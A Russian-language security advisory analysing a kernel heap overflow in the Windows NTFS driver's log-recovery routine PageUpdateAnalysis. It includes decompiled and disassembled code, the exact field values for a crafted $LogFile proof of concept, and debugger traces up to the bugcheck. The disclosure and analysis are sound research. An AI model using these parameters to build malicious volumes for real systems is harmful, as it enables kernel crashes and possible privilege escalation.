Out-of-bounds write in ntfs!PageUpdateAnalysis
Ещё в группе «Общее»
- Мы помогли Apple устранить уязвимость в ядре ее операционных систем
Мы помогли Apple устранить уязвимость в ядре ее операционных систем Эксперт PT ESC Михаил Ложников обнаружил…
- Ваш сервер Zimbra под угрозой
Недавно наша команда PT ESC IR столкнулась с новой атакой ransomware-группировок на почтовые серверы Zimbra с…
- VMkatz: скрытая угроза для виртуальной инфраструктуры 🫣
В 2026 году был опубликован инструмент VMkatz. По функционалу он напоминает широко известный инструмент Mimikatz, но,…
- ⚠️ Включил отладку по Wi-Fi — получил Mamont
⚠️ Включил отладку по Wi-Fi — получил Mamont В начале мая на устройствах Android была обнаружена…
- Dirty Frag 🐧
Dirty Frag 🐧💥 Спустя неделю после нашумевшего Copy.Fail исследователь v4bel раскрыл новую технику повышения привилегий в…
| BDU | PT | CVE |
|---|---|---|
| 2025-12465 | 2026-2690 | 2026-20840 |
Краткое описание
В функции ntfs!PageUpdateAnalysis драйвера NTFS в Microsoft Windows существует уязвимость типа переполнения буфера в куче. Специально сформированный том NTFS может привести к записи за пределами выделенной области памяти ядра NonPagedPoolNx во время восстановления журнала.
Злоумышленник может воспользоваться уязвимостью, заставив уязвимую систему Windows смонтировать том, содержащий вредоносные записи $LogFile. Возникающее в результате повреждение памяти ядра может привести к отказу в обслуживании, повышению привилегий или выполнению произвольного кода в ядре.
Ссылка на продукт
Microsoft Windows — https://www.microsoft.com/windows
CWE
Детали
NTFS — основная файловая система, используемая Microsoft Windows. Ее журнал метаданных $LogFile содержит записи, которые используются для восстановления согласованного состояния файловой системы после прерванных операций.
ntfs!AnalysisPass реализует фазу анализа при восстановлении NTFS после перезапуска, которая предшествует фазам redo и undo. Функция просматривает записи журнала начиная с последней контрольной точки и восстанавливает состояние, необходимое для восстановления, включая таблицы транзакций и измененных страниц (dirty page tables). Эти таблицы отслеживают незавершенные транзакции и страницы метаданных, изменения которых могли не попасть на диск, что позволяет последующим фазам восстановления определить, какие операции необходимо повторить или откатить.
ntfs!PageUpdateAnalysis обрабатывает записи обновления страниц во время этой фазы анализа. Стек вызова при монтировании выглядит следующим образом:
0: kd> k
# Child-SP RetAddr Call Site
00 ffffcd8a`59bc5e08 fffff804`27ae0f6f Ntfs!PageUpdateAnalysis
01 ffffcd8a`59bc5e10 fffff804`27b45000 Ntfs!AnalysisPass+0x22b
02 ffffcd8a`59bc5f30 fffff804`27acc3be Ntfs!NtfsRestartVolume+0xbc
03 ffffcd8a`59bc60a0 fffff804`27ac9f86 Ntfs!NtfsMountVolume+0x1816
04 ffffcd8a`59bc67e0 fffff804`2793e639 Ntfs!NtfsCommonFileSystemControl+0xb6
05 ffffcd8a`59bc68c0 fffff804`9478b7ec Ntfs!NtfsFspDispatch+0x619
06 ffffcd8a`59bc6a10 fffff804`94931afa nt!ExpWorkerThread+0x5ec
07 ffffcd8a`59bc6bf0 fffff804`94b4ef84 nt!PspSystemThreadStartup+0x5a
08 ffffcd8a`59bc6c40 00000000`00000000 nt!KiStartSystemThread+0x34
NTFS хранит записи измененных страниц в выделенном блоке RESTART_TABLE в ядерном NonPagedPoolNx пуле. Каждая запись содержит массив номеров логических кластеров (LCN), емкость которого определяется размером записи:
DIRTY_PAGE_ENTRY (simplified):
+0x00 AllocatedMarker DWORD (-1 indicates an in-use entry)
+0x04 TargetAttribute USHORT
+0x08 LengthOfTransfer ULONG
+0x0C LcnsToFollow ULONG
+0x10 StartingVcn 8-byte virtual cluster number
+0x18 OldestLsn 8-byte log sequence number
+0x20 LcnsForPage[] Array of 8-byte LCN values
Выделение памяти для таблицы RESTART_TABLE выполняется в ntfs!InitializeRestartState, когда DirtyPageTable загружается из образа диска.
В ntfs!PageUpdateAnalysis после того как функция ntfs!FindDirtyPage возвращает существующую запись, происходит копирование значений LCN полученных из записи $LogFile, содержащейся на диске, в запись возвращенную функцией ntfs!FindDirtyPage. Именно здесь происходит запись за пределы памяти выделенной ранее для записей возвращаемых функцией ntfs!FindDirtyPage.
// ntfs!PageUpdateAnalysis
if ( !FindDirtyPage(a4, (unsigned __int16)CurrentLogRecord->TargetAttribute, CurrentLogRecord->TargetVcn, &v20) ) {
... // entry not found
}
while ( 1 ) {
result = (unsigned __int16)CurrentLogRecord->LcnsToFollow;
if ( v8 >= (unsigned int)result ) // v8 is i
break;
v20->LcnsForPage[LODWORD(CurrentLogRecord->TargetVcn) + v8 - LODWORD(v20->Vcn)] = CurrentLogRecord->LcnsForPage[v8];
++v8;
}
return result;
В исследованном бинарном файле ntfs.sys вышеуказанному декомпилированному фрагменту соответствует следующий дизассемблированный код:
1c025844c cmp esi, eax
1c025844e jnb loc_1C025846F
1c0258455 mov rdx, [rsp+...] ; DirtyPage entry
1c025845a sub ecx, [rdx+10h] ; subtract StartingVcn, low 32 bits
1c025845d add ecx, [r13+18h] ; add TargetVcn, low 32 bits
1c0258461 mov rax, [r13+r8*8+20h] ; LogRecord->LcnsForPage[i]
1c0258466 mov [rdx+rcx*8+20h], rax ; unchecked destination write
1c025846b inc esi
1c025846d jmp short loc_1C0258447
Фактический индекс, по которому осуществляется запись, вычисляется с использованием 32-битной арифметики следующим образом:
Index = i + TargetVcn - StartingVcn
ntfs!FindDirtyPage считает запись подходящей при выполнении условия: StartingVcn <= TargetVcn < StartingVcn + LcnsToFollow:
char __fastcall FindDirtyPage(
My_RESTART_POINTERS *a1,
int TargetAttribute,
signed __int64 Vcn,
My_DIRTY_PAGE_ENTRY **DirtyPage)
{
My_DIRTY_PAGE_ENTRY *i; // rax
__int64 v9; // rdx
if ( !a1->Table )
return 0;
for ( i = (My_DIRTY_PAGE_ENTRY *)NtfsGetFirstRestartTable(a1);
;
i = (My_DIRTY_PAGE_ENTRY *)NtfsGetNextRestartTable((__int64)a1, (__int64)i) )
{
if ( !i )
{
*DirtyPage = 0LL;
return 0;
}
if ( i->TargetAttribute == TargetAttribute )
{
v9 = i->Vcn; // v9 is a starting VCN
if ( Vcn >= v9 && Vcn < v9 + (unsigned int)i->LcnsToFollow )
break;
}
}
*DirtyPage = i;
return 1;
}
Таким образом проверяется, что начальный кластер находится внутри записи, однако не проверяется, помещается ли в нее весь входящий диапазон. При TargetVcn = StartingVcn + k, цикл выполняет запись по индексам от k до k + LcnsToFollow - 1. Переполнение массива возникает при условии:
k + LcnsToFollow > ClustersPerPage
Функция ntfs!PageUpdateAnalysis содержит проверку необходимости изменения размера RESTART_TABLE, из которой осуществляется выборка функцией ntfs!FindDirtyPage, но эта проверка выполняется только если LcnsToFollow > ClustersPerPage. При этом смещение k не учитывается. В результате запись, количество LCN в которой не превышает номинальную емкость, все равно может привести к переполнению массива назначения.
// ntfs!PageUpdateAnalysis
...
if ( Table ) {
ClustersPerPage = (((unsigned __int64)(unsigned __int16)Table->EntrySize - 40) >> 3) + 1;
}
else {
ClustersPerPage = a2->ClustersPerPage;
NtfsInitializeRestartTable(8 * ClustersPerPage + 32, 0x20u, a2->RestartVersion >= 2u, 0, a4);
}
LcnsToFollow = (unsigned __int16)CurrentLogRecord->LcnsToFollow;
if ( LcnsToFollow > ClustersPerPage ) {
ClustersPerPage = (unsigned __int16)CurrentLogRecord->LcnsToFollow;
NtfsInitializeRestartTable(
8 * LcnsToFollow + 32,
(unsigned __int16)a4->Table->NumberEntries,
a2->RestartVersion >= 2u,
0,
&Resource); // resize
...
}
...
Ни перед записью в функции ntfs!PageUpdateAnalysis, ни при чтении записей с диска в ntfs!InitializeRestartState отсутствует достаточная валидация данных, более того, ntfs!InitializeRestartState принимает данные записей DirtyPageTable как есть, если MajorVersion файла $LogFile не равен нулю.
// ntfs!InitializeRestartState
...
if ( RestartArea->DirtyPageTableLength )
{
restarted = (My_RESTART_TABLE *)ReadRestartTable(
IrpContext,
Vcb,
RestartArea->DirtyPageTableLsn,
&Leb,
&RestartAreaLength);
ExAcquireResourceExclusiveLite(&DirtyPageTable->Resource, 1u);
v80 = 1;
Table = DirtyPageTable->Table;
if ( RestartArea->MajorVersion ) // MajorVersion check
{
ExFreePoolWithTag(DirtyPageTable->Table, 0);
DirtyPageTable->Table = 0;
v26 = RestartAreaLength;
v27 = (My_RESTART_TABLE *)ExAllocatePoolWithTag((POOL_TYPE)528, RestartAreaLength, 'RFtN');
DirtyPageTable->Table = v27;
memmove(v27, restarted, v26); // data from image has been accepted here
DirtyPageTable->Table->field_A = DirtyPageTable->Table->NumberAllocated;
ExAcquireResourceExclusiveLite(&DirtyPageTable->Resource, 1u);
v80 = 1;
LODWORD(restarted) = 0;
}
else
{
...
}
...
}
Proof of Concept
При монтировании специально сформированного тома NTFS выполняет следующие операции:
ntfs!InitializeRestartStateсчитывает сериализованнуюDirtyPageTableиз$LogFile.- Поскольку
RESTART_AREAимеет ненулевое значениеMajorVersion, вся таблица копируется в новый выделенный буферNonPagedPoolNx. ntfs!AnalysisPassначинает сканирование с подготовленной контрольной точки.- Следующей обрабатывается специально сформированная запись
UpdateResidentValue. - Входящее значение
LcnsToFollowравно 8, то есть совпадает сClustersPerPage, поэтому ветвь изменения размера таблицы не выполняется. ntfs!PageUpdateAnalysisвызываетntfs!FindDirtyPageсTargetAttribute = 0x18иTargetVcn = 7.ntfs!FindDirtyPageвыбирает слот 31, поскольку его диапазон равен[0, 8)и, следовательно, содержит VCN 7.- Уязвимая операция копирования записывает восемь переданных значений LCN, начиная с индекса назначения 7.
В созданной для PoC RESTART_AREA используется MajorVersion = 2. В результате Ntfs!InitializeRestartState выделяет буфер для DirtyPageTable и копирует таблицу непосредственно из образа, не перестраивая ее записи.
PoC создает RESTART_TABLE со следующими параметрами:
EntrySize = 0x60
NumberEntries = 32
NumberAllocated = 32
Каждая запись содержит восемь слотов LCN:
EntrySize = 0x20 + 8 * sizeof(LCN)
= 0x20 + 8 * 8
= 0x60
Все 32 записи помечены как занятые, поэтому ntfs!PageUpdateAnalysis не может выбрать или создать свободный слот. Записи с нулевой по 30-ю используют отдельные диапазоны VCN, которые не совпадают с диапазоном инициирующей записью. Последняя запись, слот 31, настроена следующим образом:
AllocatedMarker = 0xffffffff
TargetAttribute = 0x18
LengthOfTransfer = 0x1000
StartingVcn = 0
LcnsToFollow = 8
LcnsForPage = {1, 2, 3, 4, 5, 6, 7, 8}
Поскольку слот 31 является последней записью, данные, записываемые за пределами его массива LCN, одновременно выходят за пределы всего выделенного блока RESTART_TABLE.
sizeof(RESTART_TABLE) + NumberEntries * EntrySize
= 0x18 + 32 * 0x60
= 0xc18 (3096 bytes)
В приведенном ниже фрагменте показано, как DirtyPageTable инициализируется во время выполнения, а также часть данных, соответствующих описанной выше структуре.
0: kd> p
rax=0000000000000001 rbx=ffffe180efdf0200 rcx=ffffe180efdefaa8
rdx=0000000000000000 rsi=ffff8f8d3514b7c8 rdi=ffffe180efdeff90
rip=fffff80628a95792 rsp=ffffe180efdefb70 rbp=ffffe180efdf08f0
r8=ffff8f8d385def01 r9=ffff8f8d385deae0 r10=0000000000000000
r11=ffffe180efdefb68 r12=ffffe180efdefe00 r13=0000000000000000
r14=0000000000000001 r15=ffff8f8d357c81b0
iopl=0 nv up ei pl zr na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040246
Ntfs!InitializeRestartState+0x51e:
fffff806`28a95792 4539542438 cmp dword ptr [r12+38h],r10d ds:002b:ffffe180`efdefe38=00000c18
...
1: kd> p
rax=0000000000000000 rbx=0000000000000c18 rcx=0000000000000210
rdx=0000000000000c18 rsi=ffff8f8d3514b7c8 rdi=ffffe180efdeff90
rip=fffff80628a95942 rsp=ffffe180efdefb70 rbp=ffffe180efdf08f0
r8=000000005246744e r9=0000000000000000 r10=0000000000000000
r11=0000000000000001 r12=ffffe180efdefe00 r13=ffffcd0fd11c0158
r14=0000000000000001 r15=ffff8f8d357c81b0
iopl=0 nv up ei pl zr na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040246
Ntfs!InitializeRestartState+0x6ce:
fffff806`28a95942 48ff158f0ae7ff call qword ptr [Ntfs!_imp_ExAllocatePoolWithTag (fffff806`289063d8)]
...
1: kd> p
rax=ffff8f8d385d03e0 rbx=0000000000000c18 rcx=ffff8f8d385d03e0
rdx=ffffcd0fd11c0158 rsi=ffff8f8d3514b7c8 rdi=ffffe180efdeff90
rip=fffff80628a9595e rsp=ffffe180efdefb70 rbp=ffffe180efdf08f0
r8=0000000000000c18 r9=0000000000000080 r10=0000000000000000
r11=ffffe180efdefae0 r12=ffffe180efdefe00 r13=ffffcd0fd11c0158
r14=0000000000000001 r15=ffff8f8d357c81b0
iopl=0 nv up ei ng nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040286
Ntfs!InitializeRestartState+0x6ea:
fffff806`28a9595e e8ddf1e1ff call Ntfs!memcpy (fffff806`288b4b40)
1: kd> db ffffcd0fd11c0158
ffffcd0f`d11c0158 60 00 20 00 20 00 00 00-00 00 00 00 00 00 00 00 `. . ...........
ffffcd0f`d11c0168 00 00 00 00 00 00 00 00-ff ff ff ff 18 00 00 00 ................
ffffcd0f`d11c0178 00 10 00 00 08 00 00 00-00 10 00 00 00 00 00 00 ................
ffffcd0f`d11c0188 2b 94 a8 00 00 00 00 00-01 00 00 00 00 00 00 00 +...............
ffffcd0f`d11c0198 02 00 00 00 00 00 00 00-03 00 00 00 00 00 00 00 ................
ffffcd0f`d11c01a8 04 00 00 00 00 00 00 00-05 00 00 00 00 00 00 00 ................
ffffcd0f`d11c01b8 06 00 00 00 00 00 00 00-07 00 00 00 00 00 00 00 ................
ffffcd0f`d11c01c8 08 00 00 00 00 00 00 00-ff ff ff ff 18 00 00 00 ................
Запись приводящая к детонации уязвимости, использует redo-операцию UpdateResidentValue, которая передается на обработку в ntfs!PageUpdateAnalysis. Значение некоторых важных полей вы можете видеть ниже:
RedoOperation = 0x07
UndoOperation = 0x02
TargetAttribute = 0x18
TargetVcn = 7
LcnsToFollow = 8
ClientDataLength = 0x60
В отладчике видно, как операция обрабатывается в ntfs!PageUpdateAnalysis:
1: kd> p
rax=ffff8f8d356279e8 rbx=0000000000a8942b rcx=0000000000000000
rdx=ffff8f8d356279e8 rsi=ffff8f8d357c85d8 rdi=00000000000000e0
rip=fffff80628a30f1c rsp=ffffe180efdefe10 rbp=ffffe180efdf08f0
r8=ffffffffffffff01 r9=ffff8f8d35625000 r10=0000000000000001
r11=ffff8f8d356279b8 r12=ffffe180efdeff90 r13=ffff8f8d357c81b0
r14=ffff8f8d3514b7c8 r15=ffffcd0fd11ca188
iopl=0 nv up ei pl nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040202
Ntfs!AnalysisPass+0x1d8:
fffff806`28a30f1c 410fb70f movzx ecx,word ptr [r15] ds:002b:ffffcd0f`d11ca188=0007
1: kd> p
rax=ffff8f8d356279e8 rbx=0000000000a8942b rcx=0000000000000007
rdx=ffff8f8d356279e8 rsi=ffff8f8d357c85d8 rdi=00000000000000e0
rip=fffff80628a30f20 rsp=ffffe180efdefe10 rbp=ffffe180efdf08f0
r8=ffffffffffffff01 r9=ffff8f8d35625000 r10=0000000000000001
r11=ffff8f8d356279b8 r12=ffffe180efdeff90 r13=ffff8f8d357c81b0
r14=ffff8f8d3514b7c8 r15=ffffcd0fd11ca188
iopl=0 nv up ei pl nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040202
Ntfs!AnalysisPass+0x1dc:
fffff806`28a30f20 83f912 cmp ecx,12h
... // some optimized switch-case related code is here
0: kd> p
rax=ffff8f8d356279e8 rbx=0000000000a8942b rcx=ffff8f8d3514b7c8
rdx=ffff8f8d357c81b0 rsi=ffff8f8d357c85d8 rdi=00000000000000e0
rip=fffff80628a30f6a rsp=ffffe180efdefe10 rbp=ffffe180efdf08f0
r8=0000000000a8942b r9=ffffe180efdeff90 r10=0000000000000001
r11=ffff8f8d356279b8 r12=ffffe180efdeff90 r13=ffff8f8d357c81b0
r14=ffff8f8d3514b7c8 r15=ffffcd0fd11ca188
iopl=0 nv up ei pl zr na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040246
Ntfs!AnalysisPass+0x226:
fffff806`28a30f6a e8f1080000 call Ntfs!PageUpdateAnalysis (fffff806`28a31860)
Индексы назначения вычисляются следующим образом:
Index = i + TargetVcn - StartingVcn = i + 7 - 0 = i + 7
Для i = 0..7 получаются следующие индексы:
7, 8, 9, 10, 11, 12, 13, 14
Индекс 7 является последним допустимым элементом. Индексы с 8 по 14 находятся за пределами записи.
Поскольку выбранная запись находится в слоте 31, эти семь значений LCN записываются на 56 байт за пределами всей таблицы DirtyPageTable размером 3096 байт.
1: kd> p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000008
rdx=0000000000000001 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a3198f rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
r8=00000000385d03e0 r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0 nv up ei ng nz ac pe cy
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040297
Ntfs!PageUpdateAnalysis+0x12f:
fffff806`28a3198f 8bd6 mov edx,esi
1: kd> p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000008
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a31991 rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
r8=00000000385d03e0 r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0 nv up ei ng nz ac pe cy
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040297
Ntfs!PageUpdateAnalysis+0x131:
fffff806`28a31991 8bce mov ecx,esi
1: kd> p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000002
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a31993 rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
r8=00000000385d03e0 r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0 nv up ei ng nz ac pe cy
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040297
Ntfs!PageUpdateAnalysis+0x133:
fffff806`28a31993 412b4a10 sub ecx,dword ptr [r10+10h] ds:002b:ffff8f8d`385d0fa8=00000000 // StartingVCN
1: kd> p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000002
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a31997 rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
r8=00000000385d03e0 r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0 nv up ei pl nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040202
Ntfs!PageUpdateAnalysis+0x137: // actually it is i (index) + TargetVCN
fffff806`28a31997 41034d18 add ecx,dword ptr [r13+18h] ds:002b:ffffcd0f`d11ca1a0=00000007 // TargetVCN
1: kd> p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000009
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a3199b rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
r8=00000000385d03e0 r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0 nv up ei pl nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040206
Ntfs!PageUpdateAnalysis+0x13b: // read data that comes from image
fffff806`28a3199b 498b44d520 mov rax,qword ptr [r13+rdx*8+20h] ds:002b:ffffcd0f`d11ca1b8=4141414100000002
1: kd> p
rax=4141414100000002 rbx=0000000000a8942b rcx=0000000000000009 // rcx is i (index)
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a319a0 rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
r8=00000000385d03e0 r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0 nv up ei pl nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040206
Ntfs!PageUpdateAnalysis+0x140:
fffff806`28a319a0 498944ca20 mov qword ptr [r10+rcx*8+20h],rax ds:002b:ffff8f8d`385d1000=????????????????
Монтирование сгенерированного VHD, в системе с уязвимой версией ntfs.sys, приводит к повреждению памяти происходящему в результате записи за пределами буфера в функции Ntfs!PageUpdateAnalysis:
1: kd> !analyze -v -force
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffff8f8d385d1000, memory referenced.
Arg2: 0000000000000002, X64: bit 0 set if the fault was due to a not-present PTE.
bit 1 is set if the fault was due to a write, clear if a read.
bit 3 is set if the processor decided the fault was due to a corrupted PTE.
bit 4 is set if the fault was due to attempted execute of a no-execute PTE.
- ARM64: bit 1 is set if the fault was due to a write, clear if a read.
bit 3 is set if the fault was due to attempted execute of a no-execute PTE.
Arg3: fffff80628a319a0, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 0000000000000002, (reserved)
Debugging Details:
------------------
KEY_VALUES_STRING: 1
Key : AV.PTE
Value: Invalid
Key : AV.Page.Virtual
Value: 0xffff8f8d385d0000
Key : AV.Type
Value: Write
Key : Analysis.CPU.mSec
Value: 4500
Key : Analysis.Elapsed.mSec
Value: 9710
Key : Analysis.IO.Other.Mb
Value: 14
Key : Analysis.IO.Read.Mb
Value: 15
Key : Analysis.IO.Write.Mb
Value: 201
Key : Analysis.Init.CPU.mSec
Value: 97484
Key : Analysis.Init.Elapsed.mSec
Value: 11291658
Key : Analysis.Memory.CommitPeak.Mb
Value: 265
Key : Analysis.Version.DbgEng
Value: 10.0.29617.1000
Key : Analysis.Version.Description
Value: 10.2604.29.1 amd64fre
Key : Analysis.Version.Ext
Value: 1.2604.29.1
Key : Bugcheck.Code.KiBugCheckData
Value: 0x50
Key : Bugcheck.Code.LegacyAPI
Value: 0x50
Key : Bugcheck.Code.TargetModel
Value: 0x50
Key : Failure.Bucket
Value: AV_VRF_Ntfs!PageUpdateAnalysis
Key : Failure.Exception.IP.Address
Value: 0xfffff80628a319a0
Key : Failure.Exception.IP.Module
Value: Ntfs
Key : Failure.Exception.IP.Offset
Value: 0x1d19a0
Key : Failure.Hash
Value: {9d54520b-212c-9f3b-ad4b-052c7a9e7f7e}
Key : Faulting.IP.Type
Value: Paged
Key : Hypervisor.Enlightenments.Value
Value: 1113060
Key : Hypervisor.Enlightenments.ValueHex
Value: 0x10fbe4
Key : Hypervisor.Flags.AnyHypervisorPresent
Value: 1
Key : Hypervisor.Flags.ApicEnlightened
Value: 0
Key : Hypervisor.Flags.ApicVirtualizationAvailable
Value: 0
Key : Hypervisor.Flags.AsyncMemoryHint
Value: 0
Key : Hypervisor.Flags.CoreSchedulerRequested
Value: 0
Key : Hypervisor.Flags.CpuManager
Value: 0
Key : Hypervisor.Flags.DeprecateAutoEoi
Value: 1
Key : Hypervisor.Flags.DynamicCpuDisabled
Value: 1
Key : Hypervisor.Flags.Epf
Value: 0
Key : Hypervisor.Flags.ExtendedProcessorMasks
Value: 1
Key : Hypervisor.Flags.HardwareMbecAvailable
Value: 0
Key : Hypervisor.Flags.MaxBankNumber
Value: 0
Key : Hypervisor.Flags.MemoryZeroingControl
Value: 0
Key : Hypervisor.Flags.NoExtendedRangeFlush
Value: 0
Key : Hypervisor.Flags.NoNonArchCoreSharing
Value: 0
Key : Hypervisor.Flags.Phase0InitDone
Value: 1
Key : Hypervisor.Flags.PowerSchedulerQos
Value: 0
Key : Hypervisor.Flags.RootScheduler
Value: 0
Key : Hypervisor.Flags.SynicAvailable
Value: 1
Key : Hypervisor.Flags.UseQpcBias
Value: 0
Key : Hypervisor.Flags.Value
Value: 528572
Key : Hypervisor.Flags.ValueHex
Value: 0x810bc
Key : Hypervisor.Flags.VpAssistPage
Value: 1
Key : Hypervisor.Flags.VsmAvailable
Value: 0
Key : Hypervisor.RootFlags.AccessStats
Value: 0
Key : Hypervisor.RootFlags.CrashdumpEnlightened
Value: 0
Key : Hypervisor.RootFlags.CreateVirtualProcessor
Value: 0
Key : Hypervisor.RootFlags.DisableHyperthreading
Value: 0
Key : Hypervisor.RootFlags.HostTimelineSync
Value: 0
Key : Hypervisor.RootFlags.HypervisorDebuggingEnabled
Value: 0
Key : Hypervisor.RootFlags.IsHyperV
Value: 0
Key : Hypervisor.RootFlags.LivedumpEnlightened
Value: 0
Key : Hypervisor.RootFlags.MapDeviceInterrupt
Value: 0
Key : Hypervisor.RootFlags.MceEnlightened
Value: 0
Key : Hypervisor.RootFlags.Nested
Value: 0
Key : Hypervisor.RootFlags.StartLogicalProcessor
Value: 0
Key : Hypervisor.RootFlags.Value
Value: 0
Key : Hypervisor.RootFlags.ValueHex
Value: 0x0
Key : SecureKernel.HalpHvciEnabled
Value: 0
Key : WER.OS.Branch
Value: ge_release
Key : WER.OS.Version
Value: 10.0.26100.1
BUGCHECK_CODE: 50
BUGCHECK_P1: ffff8f8d385d1000
BUGCHECK_P2: 2
BUGCHECK_P3: fffff80628a319a0
BUGCHECK_P4: 2
FAULTING_THREAD: ffff8f8d2e595040
EXCEPTION_PARAMETER1: 0000000000000001
EXCEPTION_PARAMETER2: ffff8f8d385d1000
WRITE_ADDRESS: ffff8f8d385d1000 Special pool
MM_INTERNAL_CODE: 2
PROCESS_NAME: System
IP_IN_PAGED_CODE:
Ntfs!PageUpdateAnalysis+140
fffff806`28a319a0 498944ca20 mov qword ptr [r10+rcx*8+20h],rax
STACK_TEXT:
ffffe180`efdef068 fffff806`959ace42 : ffffe180`efdef0e8 00000000`00000001 00000000`00000080 fffff806`95ab7901 : nt!DbgBreakPointWithStatus
ffffe180`efdef070 fffff806`959ac36c : 00000000`00000003 ffffe180`efdef1d0 fffff806`95ab7b00 ffffe180`efdef790 : nt!KiBugCheckDebugBreak+0x12
ffffe180`efdef0d0 fffff806`958f6537 : 00000000`00000000 fffff806`957d1cb6 ffff8f8d`385d1000 00000000`00000000 : nt!KeBugCheck2+0xb2c
ffffe180`efdef860 fffff806`957d194c : 00000000`00000050 ffff8f8d`385d1000 00000000`00000002 ffffe180`efdefb00 : nt!KeBugCheckEx+0x107
ffffe180`efdef8a0 fffff806`95640510 : 00000000`00000000 ffff8000`00000000 ffff8f8d`385d1000 0000007f`fffffff8 : nt!MiSystemFault+0x7a0
ffffe180`efdef990 fffff806`95aacfcb : 00000000`00000000 00000000`00000000 00000000`00000008 00000000`00000000 : nt!MmAccessFault+0x630
ffffe180`efdefb00 fffff806`28a319a0 : ffffe180`efdeff90 00000000`00000001 ffff8f8d`356279b8 00000000`00000001 : nt!KiPageFault+0x38b
ffffe180`efdefc90 fffff806`28a30f6f : 00000000`00a8942b ffffe180`efdf08f0 ffff8f8d`357c85d8 00000000`000000e0 : Ntfs!PageUpdateAnalysis+0x140
ffffe180`efdefe10 fffff806`28a95000 : ffff8f8d`3514b7c8 ffff8f8d`357c81b0 00000000`00000000 ffffe180`efdeff90 : Ntfs!AnalysisPass+0x22b
ffffe180`efdeff30 fffff806`28a1c3be : ffff8f8d`3514b988 00000000`00000001 ffff8f8d`3514b7c8 ffff8f8d`3514b988 : Ntfs!NtfsRestartVolume+0xbc
ffffe180`efdf00a0 fffff806`28a19f86 : 00000000`00000000 00000000`00000000 00000000`00000000 ffff8f8d`2e5950b8 : Ntfs!NtfsMountVolume+0x1816
ffffe180`efdf07e0 fffff806`2888e639 : ffff8f8d`3514b7c8 ffffe180`efdf08f0 00000000`00000008 ffff8f8d`2e595040 : Ntfs!NtfsCommonFileSystemControl+0xb6
ffffe180`efdf08c0 fffff806`956db7ec : ffff8f8d`2e595040 ffff8f8d`2e595040 ffff8f8d`2a757ae0 fffff806`2888e020 : Ntfs!NtfsFspDispatch+0x619
ffffe180`efdf0a10 fffff806`95881afa : ffff8f8d`2e595040 ffff8f8d`2e595040 fffff806`956db200 ffff8f8d`2a757ae0 : nt!ExpWorkerThread+0x5ec
ffffe180`efdf0bf0 fffff806`95a9ef84 : fffff806`2625e180 ffff8f8d`2e595040 fffff806`95881aa0 00000000`00000000 : nt!PspSystemThreadStartup+0x5a
ffffe180`efdf0c40 00000000`00000000 : ffffe180`efdf1000 ffffe180`efdeb000 00000000`00000000 00000000`00000000 : nt!KiStartSystemThread+0x34
SYMBOL_NAME: Ntfs!PageUpdateAnalysis+140
MODULE_NAME: Ntfs
IMAGE_NAME: Ntfs.sys
IMAGE_VERSION: 10.0.26100.6899
STACK_COMMAND: .process /r /p 0xffff8f8d2a691040; .thread /r /p 0xffff8f8d2e595040 ; kb
BUCKET_ID_FUNC_OFFSET: 140
FAILURE_BUCKET_ID: AV_VRF_Ntfs!PageUpdateAnalysis
OS_VERSION: 10.0.26100.1
BUILDLAB_STR: ge_release
OSPLATFORM_TYPE: x64
